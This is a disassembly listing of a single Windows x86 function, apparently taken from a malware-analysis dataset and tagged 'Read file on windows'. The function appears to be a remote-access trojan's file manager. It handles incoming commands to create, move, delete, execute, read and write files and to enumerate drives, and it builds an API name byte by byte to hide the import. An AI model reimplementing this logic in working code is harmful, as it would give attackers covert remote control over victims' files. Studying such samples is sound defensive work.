Function at 0x10004daf
Capabilities:
Read file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1000eac4
push eax
mov eax, 0xc8f0
mov dword fs:[0], esp
call fcn.1000e3d0
push ebp
push edi
mov edi, dword [esp + 0xc90c]
mov dword [esp + 0x10], ecx
test edi, edi
mov dword [esp + 0x20], 1
je 0x100050c6
mov ebp, dword [esp + 0xc910]
cmp ebp, 2
jb 0x100050c6
mov ax, word [edi]
test ah, 0x40
mov dword [esp + 0xc], eax
je 0x1000485c
mov eax, dword [esp + 0xc908]
push ebp
push edi
push eax
call fcn.100043d0
jmp 0x100050c8
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_wcslen]
test ah, 0x80
push esi
je 0x1000488c
cmp ebp, 0xe
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x44]
mov dword [esp + 0x40], 1
sbb esi, esi
and esi, 0xff
add esi, 0x8000
jmp 0x100048c5
mov ax, word [edi + 2]
mov dword [esp + 0x40], 0
mov ecx, eax
and ecx, 0xffff
add ecx, 4
cmp ebp, ecx
jb 0x100048c0
test ax, ax
je 0x100048bc
lea edx, [edi + 4]
push edx
call ebx
add esp, 4
cmp eax, 0x1000
jae 0x100048c0
xor esi, esi
jmp 0x100048c5
mov esi, 0xff
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov cl, 0x65
mov dword [esp + 0x44], eax
mov byte [esp + 0x2d], cl
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0x3b], cl
lea ecx, [esp + 0x2c]
mov byte [esp + 0x2c], 0x47
push ecx
push eax
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x44
mov byte [esp + 0x38], 0x69
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], 0x6b
mov byte [esp + 0x3b], 0x46
mov byte [esp + 0x3c], 0x72
mov byte [esp + 0x3f], 0x53
mov byte [esp + 0x40], 0x70
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x45
mov byte [esp + 0x45], 0x78
mov byte [esp + 0x46], 0x57
mov byte [esp + 0x47], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test si, si
mov dword [esp + 0x24], eax
je 0x10004956
cmp si, 0x8000
jne 0x100050b5
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], 0
and eax, 0xffff
cmp eax, 0xfb
jg 0x10004d90
je 0x10004cc1
dec eax
cmp eax, 7
ja case.0x10004da8.32774
jmp dword [eax*4 + 0x100050e4]
push 0
push 0x80
push 3
push 0
lea esi, [edi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push closesocket
push esi
call edi
cmp eax, 0xffffffff
jne 0x100049c6
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call edi
cmp eax, 0xffffffff
jne 0x100049ce
mov dword [esp + 0x10], 0xff
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004b02
add edi, 4
push edi
jmp 0x1000507e
lea ebp, [edi + 4]
mov esi, ebp
push esi
call ebx
add esp, 4
inc eax
xor edx, edx
mov dx, word [edi + 2]
lea ecx, [eax + eax]
cmp edx, ecx
jbe 0x10004a00
lea esi, [edi + eax*2 + 4]
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x10005086
add edi, 4
mov ecx, edi
mov ax, word [ecx]
test ax, ax
je 0x10004a31
cmp ax, 0x7c
jne 0x10004a25
mov word [ecx], 0
mov ax, word [ecx + 2]
add ecx, 2
test ax, ax
jne 0x10004a1a
lea edx, [esp + 0x58]
xor eax, eax
push edx
mov word [esp + 0x6c], 0x10
mov dword [esp + 0x72], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x76], eax
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], eax
mov dword [esp + 0x60], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
je 0x10004b02
mov dword [esp + 0x10], 0xff
jmp 0x10004b02
push 5
push 0
add edi, 4
push 0
push edi
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x10005086
push 0
jmp 0x10004a78
lea esi, [edi + 4]
mov dword [esp + 0x10], 0xff
push esi
call ebx
add esp, 4
inc eax
cmp eax, 0x1000
ja 0x10004b02
mov eax, dword [esp + 0x18]
xor edi, edi
push edi
push 1
push edi
push esi
push eax
lea ecx, [esp + 0x88c]
call fcn.10003470
lea ecx, [esp + 0x878]
mov dword [esp + 0xc908], edi
call fcn.100039e0
test eax, eax
jne 0x10004adf
mov dword [esp + 0x28], edi
mov dword [esp + 0xc908], 0xffffffff
lea ecx, [esp + 0x878]
call fcn.10003580
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100050b5
mov eax, dword [esp + 0x40]
test eax, eax
je 0x1000509b
mov ax, word [esp + 0x10]
push 0xe
mov word [esp + 0x4c], ax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x4e], 0
mov ecx, dword [eax + 6]
mov edx, dword [eax + 0xa]
lea eax, [esp + 0x4c]
mov dword [esp + 0x52], ecx
mov dword [esp + 0x56], edx
push eax
jmp 0x100050ac
mov ecx, dword [esp + 0x18]
mov word [esp + 0x22], 0xfe
lea ebp, [ecx + 0xc78]
mov ecx, ebp
call fcn.10001fc0
lea edx, [esp + 0x22]
push 2
push edx
mov ecx, ebp
call fcn.10001db0
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x78]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x78]
push eax
push 0x68
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
jbe 0x10004c93
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
add eax, 3
shr eax, 2
lea edi, [esp + 0x78]
mov dword [esp + 0x14], eax
push 0
push 0x2013
mov ecx, ebp
call fcn.10001fd0
mov esi, eax
push edi
push 0x10014530
lea ecx, [esi + 0x13]
push ecx
call ebx
add esp, 0xc
lea edx, [eax + eax + 0x15]
mov word [esi], dx
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
dec eax
cmp eax, 5
ja case.0x10004bcd.1
jmp dword [eax*4 + 0x10005104]
mov byte [esi + 0x12], 7
jmp 0x10004bea
mov byte [esi + 0x12], 6
jmp 0x10004bea
mov byte [esi + 0x12], 5
jmp 0x10004bea
mov byte [esi + 0x12], 3
mov ax, word [edi]
cmp ax, 0x41
je 0x10004c62
cmp ax, 0x42
je 0x10004c62
xor eax, eax
lea ecx, [esp + 0x68]
mov dword [esp + 0x5c], eax
lea edx, [esp + 0x60]
mov dword [esp + 0x60], eax
push ecx
mov dword [esp + 0x68], eax
push edx
mov dword [esp + 0x70], eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x74], eax
lea eax, [esp + 0x60]
push eax
push edi
call dword [esp + 0x34]
test eax, eax
je 0x10004c4d
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x68]
mov edx, dword [esp + 0x64]
mov dword [esi + 2], ecx
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0xa], eax
mov dword [esi + 6], edx
mov dword [esi + 0xe], ecx
jmp 0x10004c74
xor eax, eax
xor edx, edx
mov dword [esi + 2], eax
mov dword [esi + 6], eax
lea eax, [esi + 0xa]
mov dword [esi + 0xa], edx
mov dword [eax + 4], edx
jmp 0x10004c74
xor eax, eax
lea edx, [esi + 0xa]
mov dword [esi + 2], eax
xor ecx, ecx
mov dword [esi + 6], eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
xor eax, eax
mov ecx, ebp
mov ax, word [esi]
push eax
call fcn.100020a0
mov eax, dword [esp + 0x14]
add edi, 8
dec eax
mov dword [esp + 0x14], eax
jne 0x10004b9a
mov ecx, ebp
call fcn.10002110
push eax
mov ecx, ebp
call fcn.10001f70
mov ecx, dword [esp + 0x1c]
push eax
call fcn.1000e330
test eax, eax
jne 0x100050b5
mov dword [esp + 0x10], 0xff
jmp 0x10004b02
lea ebp, [edi + 4]
xor esi, esi
push ebp
mov dword [esp + 0x14], 0xff
call ebx
add esp, 4
inc eax
cmp eax, 0x1000
ja 0x10004b02
xor ecx, ecx
lea edx, [eax + eax]
mov cx, word [edi + 2]
cmp ecx, edx
jb 0x10004b02
jbe 0x10004d09
lea esi, [edi + eax*2 + 4]
push esi
call ebx
add esp, 4
cmp eax, 0x1000
jb 0x10004d09
mov esi, 0x1001452c
push 0x6044
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x24], eax
test eax, eax
mov dword [esp + 0xc908], 1
je 0x10004d3f
mov ecx, dword [esp + 0x18]
push 0
push 0
push esi
push ebp
push ecx
mov ecx, eax
call fcn.10003470
mov esi, eax
jmp 0x10004d41
xor esi, esi
test esi, esi
mov dword [esp + 0xc908], 0xffffffff
je 0x10004b02
mov ebx, dword [esp + 0x18]
mov edx, dword [ebx + 0xc94]
lea edi, [ebx + 0xc5c]
push edx
mov ecx, edi
call fcn.1000cfb0
push esi
mov ecx, edi
call fcn.1000cf90
cmp eax, 0xffffffff
mov dword [ebx + 0xc94], eax
jne 0x100050b5
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
jmp 0x10004b02
add eax, 0xffff7ffe
cmp eax, 0xfb
ja case.0x10004da8.32774
xor ecx, ecx
mov cl, byte [eax + 0x10005130]
jmp dword [ecx*4 + 0x1000511c]
mov edx, dword [esp + 0x1c]
push 0
push 0x80
push 3
push 0
push 3
add edx, 0xe
push closesocket
push edx
mov dword [esp + 0x2c], 0x80ff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10004b02
mov eax, dword [esp + 0x18]
lea edi, [eax + 0xc78]
mov ecx, edi
call fcn.10001fc0
mov ebx, dword [esp + 0x1c]
push 0
mov ecx, dword [ebx + 2]
add ecx, 0xe
push ecx
mov ecx, edi
call fcn.10001fd0
test eax, eax
je 0x10004ed4
mov eax, dword [ebx + 6]
mov edx, dword [ebx + 0xa]
mov ecx, 0x20
call fcn.1000e410
mov dword [esp + 0x24], eax
mov eax, dword [ebx + 6]
lea edx, [esp + 0x24]
push 0
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x10004ed4
push 0
push 0xe
mov ecx, edi
mov dword [esp + 0x1c], 0
call fcn.10001fd0
mov edx, dword [ebx + 2]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
lea eax, [esi + 0xe]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10004ed4
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10004ed4
mov ecx, dword [ebx + 2]
sub ecx, eax
neg ecx
sbb ecx, ecx
and ecx, 0xfe
add ecx, 0x8000
mov word [esi], cx
mov edx, dword [ebx + 6]
mov dword [esi + 6], edx
mov eax, dword [ebx + 0xa]
mov dword [esi + 0xa], eax
mov ecx, dword [esp + 0x14]
mov dword [esi + 2], ecx
mov edx, dword [esp + 0x14]
add edx, 0xe
mov ecx, edi
push edx
call fcn.100020a0
mov ecx, edi
call fcn.10002110
push eax
mov ecx, edi
call fcn.10001f70
mov ecx, dword [esp + 0x1c]
push eax
call fcn.1000e330
test eax, eax
je 0x10004ed4
mov dword [esp + 0x28], 0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004af6
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x80ff
lea esi, [edi + 0xe]
push esi
call ebx
mov ecx, dword [edi + 2]
lea eax, [eax + eax + 2]
add esp, 4
mov dword [esp + 0x14], eax
lea edx, [eax + ecx + 0xe]
cmp ebp, edx
jb 0x10004b02
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004b02
mov ebx, dword [esp + 0x18]
lea esi, [ebx + 0xc78]
mov ecx, esi
call fcn.10001fc0
push 0
push 0xe
mov ecx, esi
call fcn.10001fd0
test eax, eax
je 0x10004fd9
mov esi, dword [esp + 0x1c]
mov ecx, 0x20
mov eax, dword [esi + 6]
mov edx, dword [esi + 0xa]
call fcn.1000e410
mov ecx, dword [esi + 6]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push 0
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x10004fd9
mov ecx, dword [esp + 0x14]
mov eax, dword [esi + 2]
lea edx, [esp + 0x14]
push 0
push edx
lea edx, [ecx + esi + 0xe]
push eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004fd9
mov eax, dword [esi + 6]
mov ecx, dword [esi + 0xa]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x4e], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x52], ecx
push 0xe
push eax
mov ecx, ebx
mov word [esp + 0x50], 0x8000
mov dword [esp + 0x52], edx
call fcn.1000e330
test eax, eax
je 0x10004fd9
mov dword [esp + 0x28], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004af6
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x80ff
lea esi, [ecx + 0xe]
push esi
call ebx
add esp, 4
inc eax
lea edx, [eax + eax + 0xe]
cmp ebp, edx
jb 0x10004b02
cmp eax, 0x1000
ja 0x10004b02
mov eax, dword [esp + 0x18]
push 1
push 1
push 0
push esi
push eax
lea ecx, [esp + 0x68d0]
call fcn.10003470
lea ecx, [esp + 0x68bc]
mov dword [esp + 0xc908], 2
call fcn.100039e0
test eax, eax
jne 0x10005049
mov dword [esp + 0x28], eax
mov dword [esp + 0xc908], 0xffffffff
lea ecx, [esp + 0x68bc]
jmp 0x10004af1
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x8000
lea esi, [ecx + 0xe]
push esi
call ebx
lea edx, [eax + eax + 0x10]
add esp, 4
cmp ebp, edx
jb case.0x10004da8.32774
push esi
call fcn.10003390
add esp, 4
test eax, eax
jne 0x10004b02
mov dword [esp + 0x10], 0xff
jmp 0x10004b02
mov cx, word [esp + 0x10]
lea edx, [esp + 0x22]
push 2
mov word [esp + 0x26], cx
push edx
mov ecx, dword [esp + 0x20]
call fcn.1000e330
mov eax, dword [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
xor eax, eax
pop ebx
jmp 0x100050c8
xor eax, eax
mov ecx, dword [esp + 0xc8f8]
pop edi
pop ebp
mov dword fs:[0], ecx
add esp, 0xc8fc
ret 0xc